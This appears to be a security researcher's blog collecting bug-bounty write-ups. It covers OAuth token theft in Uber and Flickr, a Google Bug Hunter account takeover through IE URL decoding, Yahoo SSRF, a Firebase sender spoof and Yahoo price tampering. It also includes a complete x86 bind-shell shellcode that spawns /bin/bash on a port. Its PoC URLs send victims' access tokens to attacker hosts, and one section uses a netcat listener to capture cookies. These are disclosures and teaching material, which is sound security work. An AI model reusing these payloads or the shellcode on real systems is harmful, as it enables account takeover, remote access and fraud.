[Uber] Login CSRF + Open Redirect -> Account Takeover

Have been hunting Uber bugs for quite a while, and this is my first blog post about Uber bug hunting report, hope you like it.

In response to this tweet and this excellent report, I decided to share one of the most unique issue I found in Uber. OAuth Theft.

TL;DR

This bug is in central.uber.com, it uses oauth as login mechanism, however the CSRF parameter is not used correctly, which allow attacker to take advantage of the misused state parameter to perform open redirect and login CSRF, then steal the access token in URL hash after redirect.

 

Login Flow of central.uber.com

This report starts with the login flow of central.uber.com, a few months earlier, when user press login in central.uber.com, it goes like this.

  1. https://central.uber.com/login?state=/somewhere
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
  3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. https://central.uber.com/somewhere

Take some time to read again the login flow, in order to understand this bug, you need to very familiar with the login flow.

When I saw this login flow, my first try to attack this flow is changing the state value from /somewhere to //google.com, to get a potential open redirect, now the flow goes like this.

  1. https://central.uber.com/login?state=//google.com
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. //google.com

Wow, I successfully turn this login flow to a open redirect, a very good start for an oauth login flow. Let’s turn this to something more interesting since Uber does not accept open redirect report ūüôĀ

Since the oauth request is using code instead of token, so even with open redirect we cannot steal anything from this flow. So now we change the request from code to token and see what will happen this time.

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
  3. No redirect here ūüôĀ

Because there is no valid code value for https://central.uber.com/oauth2-callback, so that there is no open redirect after step 2. If there is no open redirect, nothing we can do to steal that precious access token. We need a workaround, we need a valid code for that oauth2-callback endpoint.

Login CSRF

It is now the perfect moment for Login CSRF to take advantage in moment like this, since the CSRF parameter state is used as redirect purpose, now we can just simply put our attacker’s own valid oauth code to the endpoint oauth2-callback, and send that to victim, so now victim will correctly redirect to attacker controlled page with the leaked access token.

Limitation

Only requirement of this bug is that the user is already have an authenticated session in login.uber.com, since central.uber.com is an official oauth client, every uber user will accept whatever central.uber.com requests by default.

PoC

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

PoC Login Flow

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
  3. //hackerone.com#accesstoken={victim_access_token}

Done! Thanks for reading. Let me know what you think, tweet me @ngalongc

 

Bounty Awarded: 8000 USD

8.5k Flick Account Takeover Findings [Part 1]

On Apr 5, I had a look on Flickr login flow with Yahoo. Not after long I ran into a Flickr bug that is quite something, it is a one-click attack¬†(no click is required if the payload is embedded in img src) that allow attacker to steal Flickr’s user access token. So I submitted the bug to Yahoo happily, and hopefully I can get a good response from the report.

The next day, Apr 6, Yahoo team replied and told me it was a duplicate, there was someone who submitted the bug before I do. Heart breaking, but that’s normal for a bug hunter, move on, Ron, move on.

On Apr 21, I come across a tweet and found out the duplicate details, you can read it here.

So I checked the fix by Yahoo, and turned out the fix could be bypassed!

To keep the story short, I assume you have read the blog post above. Remember how Yahoo restrict the redirect_uri directory could only be /signin/yahoo?

If you do something like

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2f..%2f%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr&.crumb=

no access token returned, the directory is difficult to escaped, no more ../

However the payload behind %3f seems quite free to mess with, so I appended a hash behind the URL.

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr%23&.crumb=

Guess what? The %23 is decoded to be # in the response.

And target .data is appended behind the hash.

This mean, if I can find any open redirect in Flickr, then I can smuggle .data to attacker site.

Open redirect in Flickr is not difficult to find as Yahoo! does not accept Open Redirect as valid report, lucky for me I found one after 5 minutes.

Open Redirect Payload (Fixed now)

https://www.flickr.com/cookie_check.gne?pass=http:www.attacker.com#

The 302 response is

http:www.attacker.com

Now we chain them up.

Stage 1 ->

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fcookie_check.gne%253fpass%253dhttp%253aattacker.com%2523&.crumb=

Stage 2 ->

https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2Fcookie_check.gne%3fpass%3dhttp%3aattacker.com#.data=[access_token_here]&.crumb=

Stage 3 ->


https://www.flickr.com/cookie_check.gne?pass=http:attacker.com#.data=[access_token]

Stage 4 ->

http:attacker.com#.data=[access_token]

 

This report alone worth 2.5k from Yahoo!, I could not be more thankful for the reward from Yahoo. Stay tuned for the rest of my 6k finding in Flickr, it is not fixed entirely at this moment, I will update the finding here once its fixed. Hope you like this story.

Takeaway of this story

Always check the fix!

How I could Steal Your Google Bug Hunter Account with Two Clicks in IE

This post is another evidence to show how difficult to parse a URL correctly. IE has URL parsing problem, this idea is originated from Sergey Bobrov. And then successfully exploited by filedescriptor in github. Credits to them. Now, this post show how we can defeat the login mechanism that Google Bug Hunter Dashboard site uses,  and steal your access token by two clicks in Internet Explorer.

Google has a vulnerability reward program, that is hosted with domain name withgoogle.com to serve the dashboard for bug hunters. The site URL is https://bughunter.withgoogle.com So for any bug hunters/pentester/hacker who see this, this would usually mean potential weak spots, because session/cookies cannot be shared cross domain, i.e. sessions in google.com cannot share with sessions in withgoogle.com . There must be some login mechanism implemented to log user in from google.com to withgoogle.com. If we can find a weak spot in the process, we can own it.

Login Mechanism

The dashboard for bughunter look like this.

google_bughunter_login

Once we click Sign In, the traffic happens under the hood look like this.

google_bughunter_login_traffic

  1. https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fbughunter.withgoogle.com&ltmpl
  2. Which will then redirect to https://appengine.google.com/_ah/conflogin?continue=https%3A%2F%2Fbughunter.withgoogle.com&pli=1&auth=[token]
  3. Which will then redirect to https://bughunter.withgoogle.com/_ah/conflogin?state=[state token]
  4. Final destination is https://bughunter.withgoogle.com, and in step 4, the cookies/session of user will be set finally.

In this flow, the most important part of auth token here is state parameter. If we are able to steal the state parameter, then we are able to takeover the researcher’s account with the token. You can see in this flow, there is so many redirect is going on under the hood, what if we can make final destination¬†in step 4 to be our owned server, this would essentially mean leaking researcher’s token in the referrer header. So, by using this method, I have tried to change

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fbughunter.withgoogle.com

to

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fwww.mysite.com

It didn’t work, the state token returned in step 3 won’t be valid if I entered any other domain other than https://bughunter.withgoogle.com, this frustrated me of cause. And this is the moment where I choose to submit the report to Google Security Team and later found out my report is invalid because the state token returned in step 3 is invalid to login bug hunter dashboard, if i entered different domain name. It doesn’t sounds good because I made a mistake to submit the report without actually confirming the bug, so I decided to fix my mistake, by keep playing with this mechanism.

URL Encoding

Upon further investigation, I found out that the url decoding is inconsistent in these three domain.

  1. In Step 1, accounts.google.com won’t perform any url decode in the redirect
  2. In Step 2, appengine.google.com would perform at most 2 times in url decode, which mean, it will turn %25%36%32 to b, as well as %62 to b. Two times at most.
  3. In Step 3, bughunter.google.com would perform at most 1 time in url decode, which mean, it will turn %25%36%32 to %62 only. Nothing more, and this is the main subject of this post. Have a look on the traffic of step 3

screen-shot-2016-12-17-at-2-24-26-pm

Can you see the weird behaviour? https://bughunter.withgoogle.com become¬†https://%62%75%67%68%75%6eter.withgoogle.com in Step 3. And this would work perfectly in Firefox and Chrome, as they will decode the Location Header correctly, and redirect user to https://bughunter.withgoogle.com, but not the same case for IE. IE in Windows 7,8.1 will redirect user to https://bughunter.withgoogle.comthgoogle.com¬†If you want to don’t know why, you must have missed the link I provided in the beginning of the article. Since no one claimed comthgoogle.com, attacker could have claimed it and at least launch Open Redirect attack. But Google Security doesn’t like Open Redirect, no reward/fix will be implemented, if it is just Open Redirect.

How can we exploit this behaviour? First thing come to my mind is Referer Leak, at first, I thought by using the payload

Attack Payload:

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2F%25%32%35%25%33%36%25%33%32%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35ter.withgoogle.com&ltmpl

would be enough for Referer Leakage, as I thought 302 redirect in Location Header would atomically include the originated Link in the Referer Header, but I was wrong, 302 redirect won’t include its original site in Referer Header and this is the time I chose to update my submitted report to Google. Again, this is bad, because at that moment I do not know 302 redirect would not include the referer header if its just 302 redirect. I am telling everyone about this as a reminder to all of us, especially myself, confirm the vulnerability before submitting.

I got this report wrong twice, I have to be right in one last time. So I have to keep digging about this flaw, it has to be exploitable. Finally, this page was presented to me when use my attack payload .

screen-shot-2016-12-17-at-2-40-27-pm

Wait, why would this page appear? It turns out whenever I have more than 1 logged in Google Account, this page would prompt me to choose one of them before logging in bughunter.withgoogle.com . How could this help us in this case, it turns out it helps a lot! Like I said, 302 won’t include referer header of originated site. But this is not the same case if any user action is involved, like clicking a link/button/image. If user clicked on something, and got redirected to other site, the referer remains.

If user visit Site A and Click on Site B which then Redirect to Site C which then Redirect to Site D. All of the redirect request to B,C,D would include site A URL in Referer Header.

This is very important here, because this mean the state token of appengine.com will be leaked to bughunter.withgoogle.comthgoogle.com for IE user in Windows 7,8.1. And how useful is the state token? It turns out it is everything you need in order to have access to BugHunter Dashboard.

I made a few tests, and turns out anyone with the state token in appengine.com like the image I provided above, could takeover the user’s bughunter account. I checked the source code of the “Account Choosing” page.

leak

The important state token is loaded in the page of “Account Choosing”, this mean, if I could know the URL of Account Choosing Page, then I could takeover the victim’s bughunter account.

A quick recap of the vulnerability here.

  1. Visit https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2F%25%32%35%25%33%36%25%33%32%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35ter.withgoogle.com&ltmpl
  2. If user has more than one logged in google account, it will present a page look https://appengine.google.com/_ah/loginform?state=[state token]
  3. User click on the Continue button, for fire fox and chrome user, they will be redirected to the correct site bughunter.withgoogle.com. But for IE user, they will be redirected to https://bughunter.withgoogle.comthgoogle.com, which is unclaimed. The referer header would be include the url in previous point.
  4. Owner of  https://bughunter.withgoogle.comthgoogle.com will now be presented with the url of https://appengine.google.com/_ah/loginform?state=[state token] in referer header, and he can now replay the visit, by using this link, and log in as the victim.

This is it, a small url decoding problem could cause you an account compromise. Upon further investigation, any combo appengine.google.com + *.withgoogle.com is vulnerable to this attack as well.

SLAE Assignment 1 – Bind Shell Shell Code

This post is going to walk you through the process to craft a bind port shell code, that execute /bin/bash once its connected in Linux system 32 bit. We are going to craft the shell code entirely in assembly language, syscall play an important role here. As assembly language is almost the lowest possible level programming language that human can use, its not difficult to imagine low level system call is going to be used here. So the plan of the bind shell is as follow.

  1. Initiate a socketcall syscall and get a socket file descriptor in return
  2. Then call a bind syscall
  3. Call listen syscall
  4. Call accept syscall
  5. Call dup to duplicate all 0,1,2 file descriptor to the socket file descriptor
  6. Execute /bin/bash on connect

So below is the full shell code I crafted

; High level explanation

; Step 1, call socketcall, the syscall number is 66
 ; socketcall(int call, *unsigned long args)
 ; alert(!) This socketcall will be used through out this shellcode, every socket related ops is going to be under this socket call

; first we need to call socket to create a socketfd first
 ; the call number for socket is 1
 ; i.e.
 ; socketcall(1, pointer to args for socket)
 ; 
 ; socketfd = socket(int domain, int type, int protocol)
 ; AF_INET is 2, SOCK_STREAM is 1, protocol is 0
 ; socketfd = socket(2, 1, 0)
 ; eax = socketfd

; Low level implementation
 ; Final state before the socketcall int0x80
 ; eax = 0x66
 ; ebx= 0x00000001
 ; 2, 1, 0
 ; ^
 ; ecx

xor ebx,ebx ; zero out ebx
 mul ebx ; zero out eax also
 push ebx ; push 0 to the stack
 inc ebx ; ebx is 1 now
 push ebx ; push 1 to the stack
 inc ebx ; ebx is 2 now
 push ebx ; stack is 2 ,1, 0 now
 dec ebx; ebx should be 1 to call socket
 mov ecx, esp ; as required by socketcall, the second arguments, which is ecx, need to point to the argument of the call
 mov al,0x66 ; prepare syscall of socketcall
 int 0x80 ; called, and the socketfd is returned in eax, eax = socket(2,1,0), socketfd = (AF_INET, SOCK_STREAM, protocol)

 ; High Level implementation
 ; Step 2, call the bind, bind is 2, so ebx is 2 in final state
 ; int bind(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr] , socklen_t addrlen)
 ; bind(socketfd, pointer to the structure, length of structure)
 ; socketcall(2, pointer to bind's arguments)
 
 ; Low level implementation
 ; Final State before the socketcall 0x80
 ; ebx is 2 
 ; socketfd, pointer to the structure, length of structure
 ; ^
 ; ecx

; structure here is bind(socketfd, *[2,24862,0],16), you may notice, we only used 8 byte here, why would we specify the length of structure to be 16 here, it is because by definition, the structure should always be 16 bytes

 ; prepare the structure

xor esi,esi ; zero out esi
 inc ebx ; ebx is 2 now
 push esi ; push sin_addr 0 to stack
 push word 0x611e ; network bypte 24862 is port 7777, mind the word used here, rmb is word, not byte nor dword
 push word bx ; ebx is 2, push 2 to stack, because sin_family is 2 AF_INET, mind the word used here, rmb is word, not byte nor dword
 mov edx, esp ; edx is now the pointer of the structure_addr

; So now we have a beautiful structure, which look like this
 ; [2,24862,0] -> which is exactly 16 byte

 ; prepare the list of args of ecx

push byte 0x10 ; push the addrlen to stack , not sure what will happen if push word 0x10 or push dword 0x10

push edx ; now edx (addr of the structure) is pushed on stack also

push eax ; the socketfd is still inside eax, so we are pushing the socketfd to the first of args
 xchg esi,eax ; store socketfd to esi
 mov ecx,esp ; second args, ecx, is now pointing the the beginning of the list of args

mov al,0x66
 int 0x80

; now we call the listen function
 ; listen(int sockfd, int backlog)
 ; listen is number 4
 ; listen(socketfd, 0)

xor edi, edi ; use edi as zero byte
 add ebx,0x2 ; ebx is 4 now
 push edi ; push 0 on the stack, as backlog
 push esi ; esi is storing socketfd
 mov ecx, esp

; Alert!! because eax is overwritten everytime, which mean we have to make eax to be 0x66 every time
 mov eax,edi
 mov al,0x66
 int 0x80

; now we call the accept function
 ; accept is number 5
 ; accept is int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
 ; accept(socketfd, 0,0)

inc ebx ; ebx is now 5
 push edi ; push 0
 push edi ; push 0
 push esi ; push socketfd
 mov ecx,esp ; ecx is now pointing the the args

mov eax,edi
 mov al,0x66
 int 0x80

; now we duplication all of the stdin, stdout, stderr to the client filedescriptor
 ; int dup2(int oldfd, int newfd)
 ; in this case, because the file descriptor is returned from accept function, which is stored in eax
 ; clientfd = accept(sockfd,sockadd,socklen(
 ; so we are going to do dup2(clientfd,0)
 ; dup2(clientfd,1)
 ; dup2(clientfd,2)
 ; dup2 is number 63 = dup2()

xchg eax,ebx ; store the clientfd to ebx, and ebx is 5 right?
 mov ecx,eax ; make ecx is 5 also, we will copy filedescriptor from 5,4,3,2,1,0 to clientfd

loop:
 mov al,0x3f ; prepare eax for the syscall dup2
 int 0x80;
 dec ecx ; dec ecx one for each loop
 jns loop; look until newfd is 0

; finally we prepare the shellcode for /bin/sh
 ; execve syscall is 0x0b
 ; //bin/sh

; PUSH ////bin/bash (12) 
 
 push edi ; push 0, in order to end the string

push 0x68736162
 push 0x2f6e6962
 push 0x2f2f2f2f

mov ebx,esp ; first args/ebx is pointing the the filename
 push edi ; zero byte, prepare for envp
 mov edx,esp ; pointer to 00000000 is stored in edx
 push ebx ; pointer to the filename is now on the list
 mov ecx, esp ; pointint to the beginning of the args

mov al,0x0b; execve syscall
 int 0x80;


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-841


 

When Server Side Request Forgery combine with Cross Site Scripting

Summary

Hi, this is my third post about my Bug Hunting Journey. This finding is an interesting one, as it demonstrates how to chain different type of bugs in order to completely take over victim’s account. This finding allows me to take over your Yahoo account with just an click of a link. Sounds scary?¬†Read on.

GET /d/xxxxxxxx/xxxxxxx?appid=YMail&crumb=kPun5CrTk1R&wssid=&clientId=mailsearch&timezone=Asia%2FHong_Kong&allowGoogleDocs=1&ymreqid=a5551380-75ce-13d6-1c16-c00001016500&url=http%3A%2F%2Fprod.mail.bf1.yahoo.com%2Fglasd%3f%2F%3FaccountIds%3D1%26timezone%3DAsia%252FHong_Kong%26mailboxid%3DBjJ-0j4oSqYSwadMXdzKCqzxjQ0gZZDkccM7CRStMSDerKbSfJwDAjhyiIZLOLd5xlNdGH4nkLovJSeSm65J69qU1w%26appid%3DYMail%26query%3Dis%253Aunread%26limit%3D50%26excludefolders%3DARCHIVE%26threads%3Dtrue%26vertical%3DMESSAGES%26order%3Dtime%2Bdesc%26cursor%3D49&listContentType=IMAGE

Take some time to read the request, and try to find something that is unusual in the request.

Not sure what you think it is unusual, but the parameter url look quite fun to me. Because it seems I can control the destination of the url, by changing http%3A%2F%2Fprod.mail.bf1.yahoo.com%2F to http%3Amysite.com, then I could make a Server Side Request Forgery.

So I did the test, make it points to my own server, I set up nc -lnvp 80 to listen for the traffic. The traffic went through and my Yahoo Cookies Header is included in the GET request from the Yahoo Server.

Let’s do a quick recap, first, set up a nc -lnvp 80 in my server, lets say my server ip address is 123.123.123.123

Then, make a get request to my server, by changing http%3A%2F%2Fprod.mail.bf1.yahoo.com%2F to http%3A123.123.123.123

Finally, a request from Yahoo Owned server has made a request to my 123.123.123.123, and included all of my yahoo header in the request.

So I can further confirm it is vulnerable to internal scanning as well, by changing the url to http://127.0.0.1, it failed, so i used another trick, http://::80, this is ipv6, and bypassed the 127.0.0.1 check, and then I was able to perform internal port scanning and other behavior as well.

Remember I said in the title that I could own your yahoo account by only one click? It is not a click bait, it is true, because when this attack combines with XSS, that recently discovered by klikki, then he can do more than just viewing the email of victim, he can actually takeover their account by forcing them to make the SSRF request to attacker owned server and get a copy of their cookies.

Bypassing Google Email Domain Check to Deliver Spam Email on Google’s Behalf

Welcome to this blog again, this is my second write up about my Bug Hunting Journey, if you missed the first write up about how I could buy anything for free in Yahoo, please go here to have a look.

Now, this write up is about how I use Google’s service to send email with any domain names, and with arbitrary title/content. You can safely say that I can hijack Google’s email service to send any email to anyone I want. Sounds severe right? I agree with you, but Google Security Team treat that as a low severity bug as they believe anyone could have send spam email, so this finding does not qualify for reward. Ok, they got a point, the process to find it is fun anyway. Let’s see how I manage to hijack their email service.

Google FireBase

Google’s FIrebase is a super useful service that could save developers tons of effort. It provides authentication service that could integrate with any platform you want, like web, iOS, android. So developers do not need to build an authentication mechanism from scratch.

There is some functions that firebase must provide in order to have a competent service, sending password reset email is one of those must have functions. From the screenshot below, we can see it allows us to user our own domain name and own template to deliver the password reset email. Firebase is nice, nice enough to allow developers to specify their own domain name to deliver the email. Before using custom domain name, we have to prove to Google that we actually own the domain.

Email Template
Email Template

 

But here is the problem, I can specify any domain name without proving I am the owner. Actually this is a classic example of how developers would make careless mistake, when we look at the front end, we cannot tamper with the domain name. However if we capture the traffic and look at the request body, and carefully change the domain name, we can actually bypass the check and use any domain name instantly.

In the request body, I notice there is a {“email”:”noreply@luminous-app-1234.firebase.com”}. So I change that to {“email”:”ron@attacker.com”}, and trigger the password reset. The final result is this.

Hijacked Domain Name
Hijacked Domain Name

So I documented all these finding and send it to Google Security Team and have it fixed within a week.

Of cause ron@attacker.com is very obviously a scam domain name, but imagine I used donation@google.com, with nicely crafted message, it is not difficult to deliver spam email effectively by abusing this bug.

Abusing Multistage Logic Flaw to Buy Anything for Free at hk.deals.yahoo.com

Welcome, this is my first write-up of my Bug Bounty Journey that explain how I earn $3000 reward from Yahoo, hope you enjoy.

Introduction

I have started my Bug Bounty Journey after finishing my OSCP lab session in June, I started to check on yahoo.com.hk¬†first, it didn’t went well for a month, but after I read the book “The Web Application Hackers Handbook”, I suddenly realize there might be a multistage logic flaw during Yahoo Deals checkout process, so I decided to take a look and fuzz around and see what things could go wrong in the process. And I finally come up with a bug that allows me to buy arbitrary items with arbitrary price on https://hk.deals.yahoo.com,¬†https://hk.shop.yahoo.com¬†and¬†https://hk.auctions.yahoo.com

Let start digging

Yahoo! Deals, Shop, Auctions, are quite prmoinent service in Hong Kong, they provide a platform that allows user to trade items with Yahoo Payment system. I started to buy an item at hk.shop.yahoo.com, I followed along the process and monitor the traffic by Burp Suite.

Buying Page in Yahoo
Buying Page in Yahoo
Entering Delivery Content in Yahoo
Entering Delivery Content in Yahoo

When I checked on the checkout traffic, here is things start interesting. Here is the request made when I pressed “Check Out Now”

Checkout in Cart Burp Interception
Checkout in Cart Burp Interception

If we look closely, you can see the orderInfo has something important, paymentAmount is sent in plain text, in this case, it is 450 HKD. I found this interesting and decided to manipulate this amount through out the process. Fortunately, Yahoo system keeps validating the paymentAmount, when I change the paymentAmount to other values, it would return this page.

Checkout Error when trying to manipulate the paymentAmount
Checkout Error when trying to manipulate the paymentAmount

I keep experimenting and could not find a way to bypass its validation on price, until I finally reached the part where I would redirect to a third party payment system to finish my credit card payment. Due to its sensitive nature, I am not going to include the name of third party payment system here.

Here is the Burp Interception of the redirection

Details of Redirection of Third Party Payment Checkout Process
Details of Redirection of Third Party Payment Checkout Process

As we look closely to the Referrer and ¬†POST parameter “amount”, we can see the amount is once again transmitted in plain text, so I intuitively manipulate the amount to “5” in both places, and the result is a surprise.

A Payment Page that is stating to accept HKD 5
A Payment Page that is stating to accept HKD 5

From this point onward, everything went smooth, I entered my credit card info, pass the mobile phone SMS authentication, and after finishing, I was presented with this page.

Successful Checkout Page in Yahoo
Successful Checkout Page in Yahoo

I have a final check on my credit card statement, the payment amount was indeed 5 HKD.

The End

I believe the consequences of this bug is self-explanatory, I am going to pass on explaining how would this affect Yahoo. This kind of vulnerability is a classic case of lacking validation on client supplied data. And this could lead to disastrous result like bypassing login mechanism, transferring money to an unauthenticated account, and in this case, purchasing items with client supplied price.

Thank you very much for reading my first bug bounty write-up, I hope you enjoyed it.

If you are one of the bug bounty hunter and live in Hong Kong, please let me know and contact me asap, cause I am desparately to find a local friend that could share ideas in Hunting Bugs.

Feel free to leave your thoughts below, and there will be a few more write-ups coming in next few weeks.

Timeline:

Jul 15th 2016: Reported to Yahoo

Jul 15th 2016: Receive Responsefrom junot that asked to confirm credit card was indeed charged for HKD 5

Jul 16th 2016: Provide credit card statement to Yahoo

Jul 20th 2016: Receive Response from junot that they have fixed the bug and ask to confirm it has been fixed

Jul 27th 2016: Receive response from junot about receiving Bug Bounty award $3000USD